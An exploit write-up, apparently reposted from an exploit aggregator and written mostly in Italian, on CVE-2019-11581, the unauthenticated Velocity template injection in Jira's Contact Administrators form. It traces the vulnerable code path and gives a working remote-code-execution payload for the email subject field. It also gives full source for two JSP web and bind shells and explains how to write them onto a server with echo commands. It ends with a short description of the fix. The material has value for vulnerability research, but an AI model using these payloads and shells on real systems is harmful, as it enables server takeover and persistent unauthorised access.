## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PETRUSVIET-CVE-2019-11581
# Iniezione di template non autenticata in Atlassian Jira (CVE-2019-11581)
## I) Compilazione
#### 1\. Versioni vulnerabili
root@kitploit:~
4.4.x
5.x.x
6.x.x
7.0.x
7.1.x
7.2.x
7.3.x
7.4.x
7.5.x
7.6.x before 7.6.14 (the fixed version for 7.6.x)
7.7.x
7.8.x
7.9.x
7.10.x
7.11.x
7.12.x
7.13.x before 7.13.5 (the fixed version for 7.13.x)
8.0.x before 8.0.3 (the fixed version for 8.0.x)
8.1.x before 8.1.2 (the fixed version for 8.1.x)
8.2.x before 8.2.3 (the fixed version for 8.2.x)
#### 2\. Compilazione e debug
* Modificare il valore `set JVM_SUPPORT_RECOMMENDED_ARGS=` nel file ./bin/setenv.bat (o analogamente nel file ./bin/setenv.sh su Linux) per poter eseguire il debug remoto
root@kitploit:~
set JVM_SUPPORT_RECOMMENDED_ARGS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
* Nell'IDE (IntelliJ) creare una configurazione di debug: `Remote JVM Debug` con `host` e `port` localhost:5005 e `Command line arguments for remote JVM`
root@kitploit:~
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
* Eseguire il file ./bin/config.bat (o il file config.sh su Linux) e impostare "Jira home" sulla propria cartella jira home 
* Eseguire il file ./bin/start-jira.bat (o ./bin/start-jira.sh su Linux). Verificate che la versione di Java e le porte 8080 e 5005 siano libere, altrimenti non si avvierà !
* Scegliamo la modalità private 
* A questo punto, ricordate di usare un indirizzo email in grado di ricevere email :) 
* Configurate e testate la connessione 
* In `http://localhost:8080/secure/admin/EditApplicationProperties!default.jspa` abilitiamo la funzionalità `Contact Administrators Form` 
* Ho solo annotato alcune note per la compilazione, potete consultare compilare Jira dal sorgente
## II) Analisi
Dopo aver letto Advisory sappiamo che questo bug si trova in ContactAdministrators e SendBulkMail (quest'ultimo lo salto perché richiede autenticazione). Quindi comincio a testare la funzionalità `ContactAdministrators` e catturo la richiesta.

* Vedo che la richiesta va a `/secure/ContactAdministrators.jspa`, quindi guardo il file ./atlassian-jira/WEB-INF/web.xml per vedere a quale classe verrà inoltrata questa richiesta


* Quindi la richiesta verrà gestita da `JiraWebworkActionDispatcher`, così metto un breakpoint su init e server in questa classe e avvio il debug 
* Così il programma si ferma nella funzione `server`, traccio un po' e il programma salta in `ContactAdministrators.doExecute()` 
* Poi passa a `send`, dove il programma elenca gli account admin attivi 
* Poi il programma passa alla funzione `sendTo`. Qui vediamo che il programma crea un `MailQueueItem` e lo aggiunge a `mailQueue`. 
* Il programma chiama la funzione `EmailBuilder.withSubject`. Qui la stringa dell'oggetto dell'email (inviata dall'attaccante) viene convertita da String a TemplateSources e assegnata al parametro `subjectTemplate` di EmailBuilder. 
* Nella funzione `renderLater` il programma crea un `EmailRenderer` e lo usa per creare un `RenderingMailQueueItem` 
* Da qui, tornando alla funzione `ContactAdministrators.sendTo`. Dopo aver creato un `MailQueueItem`, il programma aggiunge l'elemento a `mailQueue` e torna alla funzione doExecute per il redirect. Seguendo questo flusso di debug non possiamo saltare alla parte in cui il programma renderizza l'email, quindi non possiamo arrivare al punto in cui avviene l'iniezione del template. Cosa devo fare per poter seguire l'elaborazione dell'email???
* Vedo che in `EmailRenderer` c'è la funzione `renderNow` (il programma chiama solo `renderLater`); suppongo che quando l'email in coda viene chiamata per essere renderizzata, segua lo stesso flusso di `renderNow`, quindi decido di tracciare a partire dalla funzione `renderNow` 
* Da `renderNow` il programma chiama `EmailRenderer.render()`. Metto un breakpoint qui e ripeto la richiesta per vedere se il programma arriva davvero fin qui. 
* Fortunatamente il programma ha seguito la direzione che avevo previsto. Successivamente il programma chiama `renderEmailSubject` 
* Poi il programma chiama `DefaultVelocityTemplatingEngine.render(this.subjectTemplate)` 
* Arriva a `DefaultVelocityTemplatingEngine.applying` e `DefaultVelocityTemplatingEngine.asPlainText` 
* Continuando, chiama `asPlainText(Writer writer)` 
* Arriva a `toWriterImpl`; poiché `writer` che passo è un Fragment, il programma salta al ramo `else`
root@kitploit:~
private void toWriterImpl(Writer writer, boolean attachCartridge) throws IOException {
if (this.source instanceof File) {
File template = (File)this.source;
if (attachCartridge) {
this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
}
DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBody(writer, template.getPath(), "", DefaultVelocityTemplatingEngine.this.applicationProperties.getEncoding(), this.context);
} else if (this.source instanceof Fragment) {
Fragment fragment = (Fragment)this.source;
if (attachCartridge) {
this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
}
DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBodyForContent(writer, fragment.getContent(), this.context);
}
}
* E chiama `DefaultVelocityManager.writeEncodedBodyForContent` 
* Continuando attraverso `VelocityEngine.evaluate` -> `RuntimeInstance.evaluate(Context, Writer, String, String)` -> `RuntimeInstance.evaluate(Context, Writer, String, Reader)`. Qui il programma ha creato un `SimpleNode` da `Reader` 
* Il programma arriva alla funzione `render`, dove chiama ` nodeTree.render(ica, writer);` per analizzare il template Velocity, quindi qui abbiamo l'iniezione di template!
root@kitploit:~
public boolean render(Context context, Writer writer, String logTag, SimpleNode nodeTree) throws IOException {
InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
ica.pushCurrentTemplateName(logTag);
try {
try {
nodeTree.init(ica, this);
} catch (TemplateInitException var13) {
throw new ParseErrorException(var13);
} catch (RuntimeException var14) {
throw var14;
} catch (Exception var15) {
String msg = "RuntimeInstance.render(): init exception for tag = " + logTag;
this.getLog().error(msg, var15);
throw new VelocityException(msg, var15);
}
nodeTree.render(ica, writer); ### Có thể RCE ở đây ###
} finally {
ica.popCurrentTemplateName();
}
return true;
}
* Sostituisco l'oggetto dell'email di contatto con il payload del template Velocity:
root@kitploit:~
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('calc').waitFor()
* E abbiamo riprodotto con successo il PoC :) 
#### Stack delle chiamate
root@kitploit:~
ContactAdministrators: doExecute -> send -> sendTo
-> EmailBuilder -> renderLater
RenderingMailQueueItem: send
-> emailRenderer: render -> renderEmailSubject
-> DefaultVelocityTemplatingEngine: asPlainText -> asPlainText(Writer writer) -> toWriterImpl
-> DefaultVelocityManager: writeEncodedBodyForContent
->VelocityEngine: evaluate
> RuntimeInstance: evaluate -> evaluate -> render
=> SimpleNode: render
Quindi possiamo ottenere RCE sul server Jira, ma se vogliamo una shell e il server non ha connettività outbound, cosa fare? In questo caso non possiamo creare una bind/reverse shell come al solito perché non abbiamo una porta verso internet.
Ho ricevuto un suggerimento da @honson97: "usare una web JSP per ricevere l'input dall'attaccante e poi passarlo a una bind shell indipendente che ascolta proprio sulla localhost del server".

Da quest'idea, ho scritto due file JSP: `web.jsp` e `blind.jsp`. `blind.jsp` funge da blind shell, ascolta sempre su localhost:4444, riceve i comandi da passare a cmd/base e restituisce l'output alla JSP `web.jsp`, che è lo strumento con cui l'attaccante invia i comandi e legge l'output.
#### file: web.jsp
root@kitploit:~
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
Socket socket = new Socket( "127.0.0.1", 4444 );
OutputStream output = socket.getOutputStream();
PrintWriter writer = new PrintWriter(output, true);
writer.println(request.getParameter("cmd"));
InputStream input = socket.getInputStream();
DataInputStream dis = new DataInputStream(input);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
socket.close();
%>
#### file: bind.jsp
root@kitploit:~
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector
{
InputStream md;
OutputStream ao;
StreamConnector( InputStream md, OutputStream ao )
{
this.md = md;
this.ao = ao;
}
public void run()
{
BufferedReader yw = null;
BufferedWriter enf = null;
try
{
yw = new BufferedReader( new InputStreamReader( this.md ) );
enf = new BufferedWriter( new OutputStreamWriter( this.ao ) );
char buffer[] = new char[8192];
int length = yw.read( buffer, 0, buffer.length);
enf.write( buffer, 0, length );
enf.flush();
} catch( Exception e ){}
}
}
try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
ServerSocket server_socket = new ServerSocket(4444,1048576,InetAddress.getByName((String)"127.0.0.1") );
Process process = Runtime.getRuntime().exec( ShellPath );
while (true) {
Socket client_socket = server_socket.accept();
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).run();
Thread.sleep(1000);
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).run();
client_socket.close();
}
} catch( Exception e ) {}
%>
Successivamente carichiamo la shell sul server; dato che stiamo considerando il caso senza outbound, possiamo caricare i file solo con il comando echo. Prima rimuovo i caratteri "\n" e i caratteri speciali di escape (con Python).
root@kitploit:~
a = """ copy-cái-file-vô-đây """
a = a.replace("\n", " ").replace("\t", " ").replace(">", "^>").replace("<", "^<")
print(a)
quindi copio la stringa ottenuta e la inserisco nel payload
root@kitploit:~
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('echo STRING-Ở-TRÊN > ../atlassian-jira/web.jsp').waitFor()
Dopo aver caricato i due file web.jsp e bind.jsp, accediamo a `/bind.jsp` e poi in un'altra scheda a `/web.jsp?cmd=COMMAND` per testare la shell 
### Correzione
In `ContactAdministrators.sendTo()`, invece di passare direttamente l'input del client alla funzione `EmailBuilder.withSubject` per trasformarlo in sorgenti di template (renderizzabili), nella versione corretta gli sviluppatori hanno inserito l'input come contesto stringa e passato solo la stringa `"$subject"` alla funzione `EmailBuilder.withSubject`. Durante il rendering, il sistema esegue il template `"$subject"`, cioè carica il subject - contesto stringa (input del client) - senza renderizzarlo. In altre parole, il programma tratta l'input come una stringa, non come un template renderizzabile.
 Versione vulnerabile
 Versione corretta